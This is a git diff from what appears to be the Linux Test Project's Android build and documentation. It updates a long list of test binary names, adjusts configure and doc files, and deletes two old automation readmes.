-  ltp_bytes_by_prefix_test \
   ltp_cacheflush01 \
   ltp_can_filter \
   ltp_can_rcv_own_msgs \
@@ -132,6 +130,8 @@
   ltp_diotest3 \
   ltp_diotest5 \
   ltp_diotest6 \
+  ltp_dirtyc0w \
+  ltp_dirtyc0w_child \
   ltp_disktest \
   ltp_dma_thread_diotest \
   ltp_dup01 \
@@ -150,6 +150,7 @@
   ltp_dup3_02 \
   ltp_echoes \
   ltp_echoes6 \
+  ltp_eject_check_tray \
   ltp_endian_switch01 \
   ltp_epoll-ltp \
   ltp_epoll_create1_01 \
@@ -186,6 +187,9 @@
   ltp_exit_group01 \
   ltp_ext4_file_time \
   ltp_ext4_test_inode_version \
+  ltp_f1 \
+  ltp_f2 \
+  ltp_f3 \
   ltp_faccessat01 \
   ltp_fallocate01 \
   ltp_fallocate02 \
@@ -280,6 +284,9 @@
   ltp_fcntl34_64 \
   ltp_fdatasync01 \
   ltp_fdatasync02 \
+  ltp_flistxattr01 \
+  ltp_flistxattr02 \
+  ltp_flistxattr03 \
   ltp_float_bessel \
   ltp_float_exp_log \
   ltp_float_iperb \
@@ -445,6 +452,7 @@
   ltp_getxattr01 \
   ltp_getxattr02 \
   ltp_getxattr03 \
+  ltp_getxattr04 \
   ltp_hackbench \
   ltp_hangup01 \
   ltp_ht_affinity \
@@ -457,6 +465,7 @@
   ltp_ima_boot_aggregate \
   ltp_ima_measure \
   ltp_ima_mmap \
+  ltp_in \
   ltp_in6_02 \
   ltp_inh_capped \
   ltp_inode01 \
@@ -478,6 +487,9 @@
   ltp_iobw \
   ltp_ioctl01 \
   ltp_ioctl03 \
+  ltp_ioctl04 \
+  ltp_ioctl05 \
+  ltp_ioctl06 \
   ltp_iogen \
   ltp_ioperm01 \
   ltp_ioperm02 \
@@ -485,7 +497,10 @@
   ltp_iopl02 \
   ltp_kcmp01 \
   ltp_kcmp02 \
+  ltp_kcmp03 \
   ltp_keyctl01 \
+  ltp_keyctl02 \
+  ltp_keyctl03 \
   ltp_kill01 \
   ltp_kill02 \
   ltp_kill03 \
@@ -504,6 +519,8 @@
   ltp_ksm06 \
   ltp_leapsec_timer \
   ltp_lftest \
+  ltp_lgetxattr01 \
+  ltp_lgetxattr02 \
   ltp_link02 \
   ltp_link03 \
   ltp_link04 \
@@ -514,6 +531,9 @@
   ltp_linkat01 \
   ltp_linkat02 \
   ltp_listen01 \
+  ltp_listxattr01 \
+  ltp_listxattr02 \
+  ltp_listxattr03 \
   ltp_llseek01 \
   ltp_llseek02 \
   ltp_llseek03 \
@@ -528,6 +548,7 @@
   ltp_lseek08 \
   ltp_lseek09 \
   ltp_lseek10 \
+  ltp_lseek11 \
   ltp_lstat01 \
   ltp_lstat01_64 \
   ltp_lstat02 \
@@ -541,6 +562,9 @@
   ltp_madvise02 \
   ltp_madvise05 \
   ltp_madvise06 \
+  ltp_madvise07 \
+  ltp_madvise08 \
+  ltp_madvise09 \
   ltp_max_map_count \
   ltp_mbind01 \
   ltp_mc_member_test \
@@ -552,7 +576,6 @@
   ltp_mem02 \
   ltp_mem03 \
   ltp_mem_process \
-  ltp_memcg_getpagesize \
   ltp_memcg_process_stress \
   ltp_memcg_test_1 \
   ltp_memcg_test_2 \
@@ -560,6 +583,8 @@
   ltp_memcmp01 \
   ltp_memcpy01 \
   ltp_memctl_test01 \
+  ltp_memfd_create01 \
+  ltp_memfd_create02 \
   ltp_memset01 \
   ltp_memtoy \
   ltp_migrate_pages01 \
@@ -651,6 +676,7 @@
   ltp_move_pages09 \
   ltp_move_pages10 \
   ltp_move_pages11 \
+  ltp_move_pages12 \
   ltp_mprotect01 \
   ltp_mprotect02 \
   ltp_mprotect03 \
@@ -675,20 +701,19 @@
   ltp_nanosleep03 \
   ltp_nanosleep04 \
   ltp_netns_netlink \
+  ltp_netstress \
   ltp_newns \
   ltp_newuname01 \
   ltp_nfs01_open_files \
   ltp_nfs04_create_file \
   ltp_nfs_flock \
   ltp_nfs_flock_dgen \
-  ltp_nfs_flock_frk \
   ltp_nftw01 \
   ltp_nftw6401 \
   ltp_nice01 \
   ltp_nice02 \
   ltp_nice03 \
   ltp_nice04 \
-  ltp_nice05 \
   ltp_nptl01 \
   ltp_ns-icmp_redirector \
   ltp_ns-icmpv4_sender \
@@ -705,7 +730,6 @@
   ltp_ns_exec \
   ltp_ns_ifmove \
   ltp_nsclone \
-  ltp_numa_node_size \
   ltp_oom01 \
   ltp_oom02 \
   ltp_oom03 \
@@ -765,8 +789,6 @@
   ltp_pipe11 \
   ltp_pipe2_01 \
   ltp_pipe2_02 \
-  ltp_pipe_test_01 \
-  ltp_pipe_test_02 \
   ltp_pm_get_sched_values \
   ltp_poll01 \
   ltp_poll02 \
@@ -793,11 +815,12 @@
   ltp_preadv02_64 \
   ltp_print_caps \
   ltp_proc01 \
-  ltp_prot_hsymlinks \
   ltp_pselect01 \
   ltp_pselect01_64 \
   ltp_pselect02 \
   ltp_pselect02_64 \
+  ltp_pselect03 \
+  ltp_pselect03_64 \
   ltp_ptem01 \
   ltp_pth_str01 \
   ltp_pth_str02 \
@@ -822,6 +845,7 @@
   ltp_pwritev02_64 \
   ltp_quotactl01 \
   ltp_quotactl02 \
+  ltp_quotactl03 \
   ltp_random-access \
   ltp_random-access-del-create \
   ltp_read01 \
@@ -848,6 +872,7 @@
   ltp_recvfrom01 \
   ltp_recvmsg01 \
   ltp_recvmsg02 \
+  ltp_recvmsg03 \
   ltp_removexattr01 \
   ltp_removexattr02 \
   ltp_rename01 \
@@ -910,6 +935,7 @@
   ltp_sched_setparam05 \
   ltp_sched_setscheduler01 \
   ltp_sched_setscheduler02 \
+  ltp_sched_setscheduler03 \
   ltp_sched_tc0 \
   ltp_sched_tc1 \
   ltp_sched_tc2 \
@@ -941,6 +967,7 @@
   ltp_sendfile09_64 \
   ltp_sendmsg01 \
   ltp_sendto01 \
+  ltp_sendto02 \
   ltp_set_robust_list01 \
   ltp_set_tid_address01 \
   ltp_setdomainname01 \
@@ -962,11 +989,7 @@
   ltp_setpgid03_child \
   ltp_setpgrp01 \
   ltp_setpgrp02 \
-  ltp_setpriority01 \
   ltp_setpriority02 \
-  ltp_setpriority03 \
-  ltp_setpriority04 \
-  ltp_setpriority05 \
   ltp_setrlimit01 \
   ltp_setrlimit02 \
   ltp_setrlimit03 \
@@ -990,13 +1013,6 @@
   ltp_signal04 \
   ltp_signal05 \
   ltp_signal06 \
-  ltp_signal_test_01 \
-  ltp_signal_test_02 \
-  ltp_signal_test_03 \
-  ltp_signal_test_04 \
-  ltp_signal_test_05 \
-  ltp_signal_test_06 \
-  ltp_signal_test_07 \
   ltp_signalfd01 \
   ltp_signalfd4_01 \
   ltp_signalfd4_02 \
@@ -1011,7 +1027,6 @@
   ltp_smount \
   ltp_socket01 \
   ltp_socket02 \
-  ltp_socket03 \
   ltp_socketcall01 \
   ltp_socketcall02 \
   ltp_socketcall03 \
@@ -1083,7 +1098,6 @@
   ltp_syslog12 \
   ltp_syslogtst \
   ltp_tbio \
-  ltp_tcp_fastopen \
   ltp_tee01 \
   ltp_tee02 \
   ltp_test01 \
@@ -1099,11 +1113,12 @@
   ltp_test11 \
   ltp_test12 \
   ltp_test13 \
+  ltp_test14 \
   ltp_test_6_2 \
   ltp_testcases_bin_acl_test01 \
   ltp_testcases_bin_add_ipv6addr \
   ltp_testcases_bin_ar01 \
-  ltp_testcases_bin_arp01 \
+  ltp_testcases_bin_arping01.sh \
   ltp_testcases_bin_ask_password.sh \
   ltp_testcases_bin_assign_password.sh \
   ltp_testcases_bin_at_allow01 \
@@ -1116,14 +1131,14 @@
   ltp_testcases_bin_broken_ip4-protcol \
   ltp_testcases_bin_broken_ip4-totlen \
   ltp_testcases_bin_broken_ip4-version \
-  ltp_testcases_bin_broken_ip4_lib.sh \
   ltp_testcases_bin_broken_ip6-dstaddr \
   ltp_testcases_bin_broken_ip6-nexthdr \
   ltp_testcases_bin_broken_ip6-plen \
   ltp_testcases_bin_broken_ip6-version \
-  ltp_testcases_bin_broken_ip6_lib.sh \
   ltp_testcases_bin_busy_poll01.sh \
   ltp_testcases_bin_busy_poll02.sh \
+  ltp_testcases_bin_busy_poll03.sh \
+  ltp_testcases_bin_busy_poll_lib.sh \
   ltp_testcases_bin_can_run_tests.sh \
   ltp_testcases_bin_cgroup_fj_common.sh \
   ltp_testcases_bin_cgroup_fj_function.sh \
@@ -1135,6 +1150,7 @@
   ltp_testcases_bin_check_icmpv6_connectivity \
   ltp_testcases_bin_check_netem \
   ltp_testcases_bin_check_setkey \
+  ltp_testcases_bin_clockdiff01.sh \
   ltp_testcases_bin_cmdlib.sh \
   ltp_testcases_bin_connector_test.sh \
   ltp_testcases_bin_cp_tests.sh \
@@ -1183,6 +1199,7 @@
   ltp_testcases_bin_dhcp_lib.sh \
   ltp_testcases_bin_dhcpd_tests.sh \
   ltp_testcases_bin_dns-stress \
+  ltp_testcases_bin_dns-stress-lib.sh \
   ltp_testcases_bin_dns-stress01-rmt \
   ltp_testcases_bin_dns-stress02-rmt \
   ltp_testcases_bin_dnsmasq_tests.sh \
@@ -1199,17 +1216,6 @@
   ltp_testcases_bin_ext4_persist_prealloc_test.sh \
   ltp_testcases_bin_ext4_subdir_limit_test.sh \
   ltp_testcases_bin_ext4_uninit_groups_test.sh \
-  ltp_testcases_bin_file0.in \
-  ltp_testcases_bin_file1.in \
-  ltp_testcases_bin_file10.in \
-  ltp_testcases_bin_file2.in \
-  ltp_testcases_bin_file3.in \
-  ltp_testcases_bin_file4.in \
-  ltp_testcases_bin_file5.in \
-  ltp_testcases_bin_file6.in \
-  ltp_testcases_bin_file7.in \
-  ltp_testcases_bin_file8.in \
-  ltp_testcases_bin_file9.in \
   ltp_testcases_bin_file_test.sh \
   ltp_testcases_bin_filecapstest.sh \
   ltp_testcases_bin_find_portbundle \
@@ -1376,6 +1382,7 @@
   ltp_testcases_bin_ftrace_stress_ftrace_tracing_max_latency.sh \
   ltp_testcases_bin_ftrace_stress_ftrace_tracing_on.sh \
   ltp_testcases_bin_ftrace_stress_test.sh \
+  ltp_testcases_bin_geneve01.sh \
   ltp_testcases_bin_get_ifname \
   ltp_testcases_bin_gre01.sh \
   ltp_testcases_bin_gzip_tests.sh \
@@ -1384,6 +1391,7 @@
   ltp_testcases_bin_http-stress01-rmt \
   ltp_testcases_bin_http-stress02-rmt \
   ltp_testcases_bin_icmp-uni-basic.sh \
+  ltp_testcases_bin_icmp-uni-vti.sh \
   ltp_testcases_bin_icmp4-multi-diffip01 \
   ltp_testcases_bin_icmp4-multi-diffip02 \
   ltp_testcases_bin_icmp4-multi-diffip03 \
@@ -1428,10 +1436,12 @@
   ltp_testcases_bin_initialize_if \
   ltp_testcases_bin_insmod01.sh \
   ltp_testcases_bin_ip_tests.sh \
+  ltp_testcases_bin_ipneigh01.sh \
   ltp_testcases_bin_ipsec_lib.sh \
   ltp_testcases_bin_iptables_tests.sh \
   ltp_testcases_bin_ipvlan01.sh \
   ltp_testcases_bin_isofs.sh \
+  ltp_testcases_bin_keyctl01.sh \
   ltp_testcases_bin_killall_icmp_traffic \
   ltp_testcases_bin_killall_tcp_traffic \
   ltp_testcases_bin_killall_udp_traffic \
@@ -1476,14 +1486,18 @@
   ltp_testcases_bin_mcast6-queryfld05 \
   ltp_testcases_bin_mcast6-queryfld06 \
   ltp_testcases_bin_memcg_control_test.sh \
-  ltp_testcases_bin_memcg_function_test.sh \
+  ltp_testcases_bin_memcg_failcnt.sh \
+  ltp_testcases_bin_memcg_force_empty.sh \
   ltp_testcases_bin_memcg_lib.sh \
+  ltp_testcases_bin_memcg_limit_in_bytes.sh \
   ltp_testcases_bin_memcg_max_usage_in_bytes_test.sh \
   ltp_testcases_bin_memcg_memsw_limit_in_bytes_test.sh \
   ltp_testcases_bin_memcg_move_charge_at_immigrate_test.sh \
   ltp_testcases_bin_memcg_regression_test.sh \
+  ltp_testcases_bin_memcg_stat_rss.sh \
   ltp_testcases_bin_memcg_stat_test.sh \
   ltp_testcases_bin_memcg_stress_test.sh \
+  ltp_testcases_bin_memcg_subgroup_charge.sh \
   ltp_testcases_bin_memcg_test_4.sh \
   ltp_testcases_bin_memcg_usage_in_bytes_test.sh \
   ltp_testcases_bin_memcg_use_hierarchy_test.sh \
@@ -1506,22 +1520,18 @@
   ltp_testcases_bin_nfs03 \
   ltp_testcases_bin_nfs04 \
   ltp_testcases_bin_nfs05 \
-  ltp_testcases_bin_nfs_fsstress.sh \
+  ltp_testcases_bin_nfs06 \
   ltp_testcases_bin_nfs_lib.sh \
   ltp_testcases_bin_nfslock01 \
   ltp_testcases_bin_nfsstat01 \
   ltp_testcases_bin_nm01 \
-  ltp_testcases_bin_nmfile.c \
-  ltp_testcases_bin_nmfile1.c \
-  ltp_testcases_bin_nmfile2.c \
-  ltp_testcases_bin_nmfile3.c \
   ltp_testcases_bin_ns-echoclient \
   ltp_testcases_bin_numa01.sh \
-  ltp_testcases_bin_objdump01 \
   ltp_testcases_bin_output_ipsec_conf \
   ltp_testcases_bin_parameters.sh \
   ltp_testcases_bin_pids.sh \
-  ltp_testcases_bin_ping01 \
+  ltp_testcases_bin_ping01.sh \
+  ltp_testcases_bin_ping02.sh \
   ltp_testcases_bin_pm_cpu_consolidation.py \
   ltp_testcases_bin_pm_ilb_test.py \
   ltp_testcases_bin_pm_include.sh \
@@ -1558,7 +1568,6 @@
   ltp_testcases_bin_run_memctl_test.sh \
   ltp_testcases_bin_run_pec_test \
   ltp_testcases_bin_run_sched_cliserv.sh \
-  ltp_testcases_bin_run_semaphore_test_01.sh \
   ltp_testcases_bin_runipctests_noltp.sh \
   ltp_testcases_bin_runpwtests01.sh \
   ltp_testcases_bin_runpwtests02.sh \
@@ -1579,7 +1588,6 @@
   ltp_testcases_bin_sched_stress.sh \
   ltp_testcases_bin_sendfile01 \
   ltp_testcases_bin_set_ipv4addr \
-  ltp_testcases_bin_size01 \
   ltp_testcases_bin_smack_common.sh \
   ltp_testcases_bin_smack_file_access.sh \
   ltp_testcases_bin_smack_set_ambient.sh \
@@ -1934,6 +1942,7 @@
   ltp_testcases_bin_tcp6-uni-winscale13 \
   ltp_testcases_bin_tcp6-uni-winscale14 \
   ltp_testcases_bin_tcp_fastopen_run.sh \
+  ltp_testcases_bin_tcp_ipsec.sh \
   ltp_testcases_bin_tcpdump01 \
   ltp_testcases_bin_telnet01 \
   ltp_testcases_bin_test.sh \
@@ -1989,7 +1998,10 @@
   ltp_testcases_bin_tpmtoken_setpasswd_tests_exp02.sh \
   ltp_testcases_bin_tpmtoken_setpasswd_tests_exp03.sh \
   ltp_testcases_bin_tpmtoken_setpasswd_tests_exp04.sh \
-  ltp_testcases_bin_traceroute_tests.sh \
+  ltp_testcases_bin_tracepath01.sh \
+  ltp_testcases_bin_traceroute01.sh \
+  ltp_testcases_bin_tst_ansi_color.sh \
+  ltp_testcases_bin_tst_test.sh \
   ltp_testcases_bin_udp4-multi-diffip01 \
   ltp_testcases_bin_udp4-multi-diffip02 \
   ltp_testcases_bin_udp4-multi-diffip03 \
@@ -2046,6 +2058,7 @@
   ltp_testcases_bin_udp6-uni-basic05 \
   ltp_testcases_bin_udp6-uni-basic06 \
   ltp_testcases_bin_udp6-uni-basic07 \
+  ltp_testcases_bin_udp_ipsec.sh \
   ltp_testcases_bin_unzip_tests.sh \
   ltp_testcases_bin_utimensat_tests.sh \
   ltp_testcases_bin_vfork_freeze.sh \
@@ -2063,6 +2076,11 @@
   ltp_testcases_bin_zram01.sh \
   ltp_testcases_bin_zram02.sh \
   ltp_testcases_bin_zram_lib.sh \
+  ltp_testcases_data_ar01_file1.in \
+  ltp_testcases_data_ar01_file10.in \
+  ltp_testcases_data_ar01_file2.in \
+  ltp_testcases_data_ar01_file3.in \
+  ltp_testcases_data_ar01_file4.in \
   ltp_testcases_data_ext4-ffsb_ffsb-config0 \
   ltp_testcases_data_ext4-ffsb_ffsb-config1 \
   ltp_testcases_data_ext4-ffsb_ffsb-config2 \
@@ -2071,14 +2089,40 @@
   ltp_testcases_data_ext4-ffsb_ffsb-config5 \
   ltp_testcases_data_ext4-ffsb_ffsb-config6 \
   ltp_testcases_data_ext4-ffsb_ffsb-config7 \
+  ltp_testcases_data_file01_in.ar \
+  ltp_testcases_data_file01_in.bash \
+  ltp_testcases_data_file01_in.c \
+  ltp_testcases_data_file01_in.csh \
+  ltp_testcases_data_file01_in.jpg \
+  ltp_testcases_data_file01_in.ksh \
+  ltp_testcases_data_file01_in.m4 \
+  ltp_testcases_data_file01_in.mp3 \
+  ltp_testcases_data_file01_in.pl \
+  ltp_testcases_data_file01_in.png \
+  ltp_testcases_data_file01_in.py \
+  ltp_testcases_data_file01_in.sh \
+  ltp_testcases_data_file01_in.src.rpm \
+  ltp_testcases_data_file01_in.tar \
+  ltp_testcases_data_file01_in.tar.bz2 \
+  ltp_testcases_data_file01_in.tar.gz \
+  ltp_testcases_data_file01_in.txt \
+  ltp_testcases_data_file01_in.wav \
+  ltp_testcases_data_file01_in.zip \
   ltp_testcases_data_ima_policy_measure.policy \
   ltp_testcases_data_ima_policy_measure.policy-invalid \
+  ltp_testcases_data_ld01_d1.c \
+  ltp_testcases_data_ld01_f1.c \
+  ltp_testcases_data_ld01_main.c \
+  ltp_testcases_data_ld01_rd1.c \
+  ltp_testcases_data_ld01_rf1.c \
   ltp_testcases_data_mc_member_ManyGroups \
   ltp_testcases_data_mc_member_TooManyGroups \
   ltp_testcases_data_rpc01_file.1 \
   ltp_testcases_data_rpc01_file.2 \
   ltp_testcases_data_stress_floppy_dd_file \
   ltp_testcases_data_stress_floppy_dumpdir_1K_file \
+  ltp_testcases_data_unzip01_dir.out \
+  ltp_testcases_data_unzip01_test.zip \
   ltp_testsf_c \
   ltp_testsf_c6 \
   ltp_testsf_s \
@@ -2141,8 +2185,7 @@
   ltp_tst_fs_fill_subdirs \
   ltp_tst_fs_has_free \
   ltp_tst_get_unused_port \
-  ltp_tst_kvercmp \
-  ltp_tst_kvercmp2 \
+  ltp_tst_kvcmp \
   ltp_tst_ncpus \
   ltp_tst_ncpus_conf \
   ltp_tst_ncpus_max \
@@ -2150,7 +2193,10 @@
   ltp_tst_random \
   ltp_tst_record_childstatus \
   ltp_tst_res \
+  ltp_tst_res_hexd \
   ltp_tst_resm \
+  ltp_tst_rod \
+  ltp_tst_safe_fileops \
   ltp_tst_safe_macros \
   ltp_tst_sleep \
   ltp_tst_strerrno \
@@ -2158,8 +2204,6 @@
   ltp_tst_tmpdir_test \
   ltp_uaccess \
   ltp_umask01 \
-  ltp_umask02 \
-  ltp_umask03 \
   ltp_umount01 \
   ltp_umount02 \
   ltp_umount03 \
@@ -2229,8 +2273,7 @@
   ltp_writetest \
   ltp_writev01 \
   ltp_writev02 \
-  ltp_writev03 \
-  ltp_writev04 \
   ltp_writev05 \
   ltp_writev06 \
+  ltp_writev07 \
   ltp_zram03
\ No newline at end of file
diff --git a/android/tools/disabled_tests.txt b/android/tools/disabled_tests.txt
index 01973b1..d3c5168 100644
--- a/android/tools/disabled_tests.txt
+++ b/android/tools/disabled_tests.txt
@@ -251,6 +251,9 @@
 nfs05_make_tree
 test
 check_tray
+# build error due to unavailability of eaccess()
+prot_hsymlinks
+setpriority01
 
 # The following test prebuilds are disabled due to build error on AOSP
 ldmain.obj
diff --git a/configure.ac b/configure.ac
index e0e9c1b..ecc9a26 100644
--- a/configure.ac
+++ b/configure.ac
@@ -36,7 +36,7 @@
     libaio.h \
     mm.h \
     pthread.h \
-    attr/xattr.h \
+    sys/xattr.h \
     linux/genetlink.h \
     linux/mempolicy.h \
     linux/module.h \
@@ -106,7 +106,7 @@
 AC_ARG_WITH([open-posix-testsuite],
   [AC_HELP_STRING([--with-open-posix-testsuite],
     [compile and install the open posix testsuite (default=no)])],
-  [with_open_posix_testsuite=yes]
+  [with_open_posix_testsuite=$withval]
 )
 if test "x$with_open_posix_testsuite" = xyes; then
     AC_SUBST([WITH_OPEN_POSIX_TESTSUITE],["yes"])
@@ -188,5 +188,6 @@
 LTP_CHECK_EPOLL_PWAIT
 LTP_CHECK_KEYUTILS_SUPPORT
 LTP_CHECK_SYNC_ADD_AND_FETCH
+LTP_CHECK_BUILTIN_CLEAR_CACHE
 
 AC_OUTPUT
diff --git a/doc/Makefile b/doc/Makefile
index b5f5b4c..e28df68 100644
--- a/doc/Makefile
+++ b/doc/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir			?= ..
diff --git a/doc/automation-README.html b/doc/automation-README.html
deleted file mode 100644
index 1acb72c..0000000
--- a/doc/automation-README.html
+++ /dev/null
@@ -1,120 +0,0 @@
-<html>
-<head>
-	<title>autoltp readme</title>
-
-</head>
- <body bgcolor="#ffffff" vlink="#800000">
-
-<div align="center"><big><big><big><b>LTP Automation README<br>
-using autoltp</b></big></big></big></div>
-  <br>
-  <br>
-  <big><big><b>Prerequisites</b></big></big>
-<ul>
-  <li>All LTP installation prerequisites must be met<br>
-   </li>
-   <li>Perl modules Net::SFTP and Net::SSH::Perl <b>must</b> be <a
- href="http://www.cpan.org/misc/cpan-faq.html#How_install_Perl_modules">installed</a>
-on MASTER machine. (<a href="http://www.cpan.org/">www.cpan.org</a> for instructions/downloads)</li>
-   <li>MASTER and TARGET machines must have sftp and ssh capabilities.<br>
-   </li>
-  <li>IP addresses may replace hostnames in this document if name service
-is unavailable.<br>
-   </li>
-
-</ul>
-  <big><big><b>Install files</b></big></big>
-<ul>
-  <li>Go to <a href="https://github.com/linux-test-project/ltp/releases">GitHub LTP releases</a>
-      and download latest version of LTP</li>
-  <li>Login as root on MASTER machine</li>
-  <li>Untar ltp-xxxxxxxx.tgz in /root</li>
-
-  <ul>
-  <li>tar -xzvf &lt;filename.tgz&gt;</li>
-  <li>mv ltp-&lt;yyyymmdd&gt;.tgz ltp <i>(&lt;yyyymmdd&gt; should be replaced
- with the drop date you are using</i></li>
-
-  </ul>
-
-</ul>
- <big><big><b>Setup/Edit config files</b></big></big>
-<ul>
-
-  <ul>
-
-  </ul>
-
-</ul>
-
-<ul>
-
-  <ul>
-
-  </ul>
-
-</ul>
-
-<ul>
-  <li>edit runalltests.sh and modify the run line to include the PAN_LOG
-options:</li>
-
-  <ul>
-     <li>ex: <i>${LTPROOT}/pan/ltp-pan -l $PAN_LOG -e -S $instances $time -a
-$$ -n $$ -f ${TMP}/alltests</i></li>
-
-  </ul>
-   <li>tar up the ltp directory (<i>this is the ltp.tgz that is copied to
-the TARGET machines</i>)</li>
-
-  <ul>
-     <li>in the root directory of MASTER type tar -czvf ltp.tgz to tar up
-the testcases</li>
-     <li>copy the resulting ltp.tgz to /tmp on MASTER (<i>autoltp will look
-for /ltp.tgz in the tmp directory</i>)<br>
-     </li>
-
-  </ul>
-
-  <ul>
-
-  </ul>
-
-</ul>
-
-<ul>
-
-  <ul>
-
-  </ul>
-
-</ul>
-  <big><big><b>Run LTP</b></big></big><br>
-
-<ul>
-  <li>cd to /root/ltp/auto on MASTER</li>
-   <li>create a config file that contains the list of hosts (TARGETS) to
-run LTP against</li>
-
-  <ul>
-     <li>example config file:<br>
-host1,username,password,number of instances,time<br>
- host2,username,password,number of instances,time</li>
-    <li>host is the hostname of a TARGET machine<br>
-    </li>
-    <li>username is usually root or a root privileged account</li>
-    <li>number of instances is how many copies of LTP you want running simultaneously</li>
-    <li>time is the duration of the ltp run where 10m = 10 minutes, 2h =
-2 hours, etc</li>
-  </ul>
-  <li>run ./autoltp -f &lt;config file&gt;</li>
-  <li>autoltp will then attempt to make ssh/sftp connections with your TARGET
-machines and run the LTP testcases<br>
-  </li>
-</ul>
-<ul>
-
-</ul>
-
-</body>
-</html>
diff --git a/doc/automation-cookbook.html b/doc/automation-cookbook.html
deleted file mode 100644
index 9d89b12..0000000
--- a/doc/automation-cookbook.html
+++ /dev/null
@@ -1,120 +0,0 @@
-<html>
-<head>
-  <title>autoltp cookbook</title>
-
-</head>
- <body bgcolor="#ffffff" vlink="#800000">
-
-<div align="center"><big><big><big><b>LTP Automation<br>
-using autoltp</b></big></big></big></div>
-  <br>
-  <br>
-  <big><big><b>Prerequisites</b></big></big>
-<ul>
-  <li>All LTP installation prerequisites must be met<br>
-   </li>
-   <li>Perl modules Net::SFTP and Net::SSH::Perl <b>must</b> be <a
- href="http://www.cpan.org/misc/cpan-faq.html#How_install_Perl_modules">installed</a>
-on MASTER machine. (<a href="http://www.cpan.org/">www.cpan.org</a> for instructions/downloads)</li>
-   <li>MASTER and TARGET machines must have sftp and ssh capabilities.<br>
-   </li>
-  <li>IP addresses may replace hostnames in this document if name service
-is unavailable.<br>
-   </li>
-
-</ul>
-  <big><big><b>Install files</b></big></big>
-<ul>
-  <li>Go to <a href="https://github.com/linux-test-project/ltp/releases">GitHub LTP releases</a>
-      and download latest version of LTP</li>
-  <li>Login as root on MASTER machine</li>
-  <li>Untar ltp-xxxxxxxx.tgz in /root</li>
-
-  <ul>
-  <li>tar -xzvf &lt;filename.tgz&gt;</li>
-  <li>mv ltp-&lt;yyyymmdd&gt;.tgz ltp <i>(&lt;yyyymmdd&gt; should be replaced
- with the drop date you are using</i></li>
-
-  </ul>
-
-</ul>
- <big><big><b>Setup/Edit config files</b></big></big>
-<ul>
-
-  <ul>
-
-  </ul>
-
-</ul>
-
-<ul>
-
-  <ul>
-
-  </ul>
-
-</ul>
-
-<ul>
-  <li>edit runalltests.sh and modify the run line to include the PAN_LOG
-options:</li>
-
-  <ul>
-     <li>ex: <i>${LTPROOT}/pan/ltp-pan -l $PAN_LOG -e -S $instances $time -a
-$$ -n $$ -f ${TMP}/alltests</i></li>
-
-  </ul>
-   <li>tar up the ltp directory (<i>this is the ltp.tgz that is copied to
-the TARGET machines</i>)</li>
-
-  <ul>
-     <li>in the root directory of MASTER type tar -czvf ltp.tgz to tar up
-the testcases</li>
-     <li>copy the resulting ltp.tgz to /tmp on MASTER (<i>autoltp will look
-for /ltp.tgz in the tmp directory</i>)<br>
-     </li>
-
-  </ul>
-
-  <ul>
-
-  </ul>
-
-</ul>
-
-<ul>
-
-  <ul>
-
-  </ul>
-
-</ul>
-  <big><big><b>Run LTP</b></big></big><br>
-
-<ul>
-  <li>cd to /root/ltp/auto on MASTER</li>
-   <li>create a config file that contains the list of hosts (TARGETS) to
-run LTP against</li>
-
-  <ul>
-     <li>example config file:<br>
-host1,username,password,number of instances,time<br>
- host2,username,password,number of instances,time</li>
-    <li>host is the hostname of a TARGET machine<br>
-    </li>
-    <li>username is usually root or a root privileged account</li>
-    <li>number of instances is how many copies of LTP you want running simultaneously</li>
-    <li>time is the duration of the ltp run where 10m = 10 minutes, 2h =
-2 hours, etc</li>
-  </ul>
-  <li>run ./autoltp -f &lt;config file&gt;</li>
-  <li>autoltp will then attempt to make ssh/sftp connections with your TARGET
-machines and run the LTP testcases<br>
-  </li>
-</ul>
-<ul>
-
-</ul>
-
-</body>
-</html>
diff --git a/doc/build-system-guide.txt b/doc/build-system-guide.txt
index 491d5f1..e9717f1 100644
--- a/doc/build-system-guide.txt
+++ b/doc/build-system-guide.txt
@@ -7,7 +7,7 @@
 
 Changelog:
 
- * Initial version: Garrett Cooper <yanegomi@gmail.com>
+ * Initial version: Ngie Cooper <yaneurabeya@gmail.com>
  * Reformated for asciidoc: Cyril Hrubis <chrubis@suse.cz>
 ******************************************************************************
 
diff --git a/doc/colorized-output.txt b/doc/colorized-output.txt
new file mode 100644
index 0000000..c1859cc
--- /dev/null
+++ b/doc/colorized-output.txt
@@ -0,0 +1,10 @@
+Colorized output
+================
+
+1. Usage
+--------
+By default LTP colorizes it's output unless using pipe or redirect to file.
+
+It's possible to force behaviour with LTP_COLORIZE_OUTPUT environment variable:
+y or 1: always colorize
+n or 0: never colorize
diff --git a/doc/ltp-run-files.txt b/doc/ltp-run-files.txt
index 5da5747..36180b9 100644
--- a/doc/ltp-run-files.txt
+++ b/doc/ltp-run-files.txt
@@ -1,7 +1,5 @@
 List of scripts or executables that need to be run for complete LTP execution.
-The tests listed are NOT executed with the runalltests.sh script
 
-runalltests.sh
  - syscalls  (except epoll, see below)
  - fs
  - fsx
@@ -27,7 +25,7 @@
  - ltpdmmapper.sh
 
 Network tests
- - networktests.sh
+ - network.sh
  - testcases/network/sockets/ltpSockets.sh
 
 other filesystem or disk type tests
diff --git a/doc/man1/Makefile b/doc/man1/Makefile
index fa5ae4d..ecd2b6d 100644
--- a/doc/man1/Makefile
+++ b/doc/man1/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 MANPREFIX		:= 1
diff --git a/doc/man3/Makefile b/doc/man3/Makefile
index 1a7a5a3..ff36ddd 100644
--- a/doc/man3/Makefile
+++ b/doc/man3/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 MANPREFIX		:= 3
diff --git a/doc/man3/bytes_by_prefix.3 b/doc/man3/bytes_by_prefix.3
deleted file mode 100644
index 882245d..0000000
--- a/doc/man3/bytes_by_prefix.3
+++ /dev/null
@@ -1,101 +0,0 @@
-.\"
-.\" $Id: bytes_by_prefix.3,v 1.1 2000/07/27 16:59:03 alaffin Exp $
-.\"
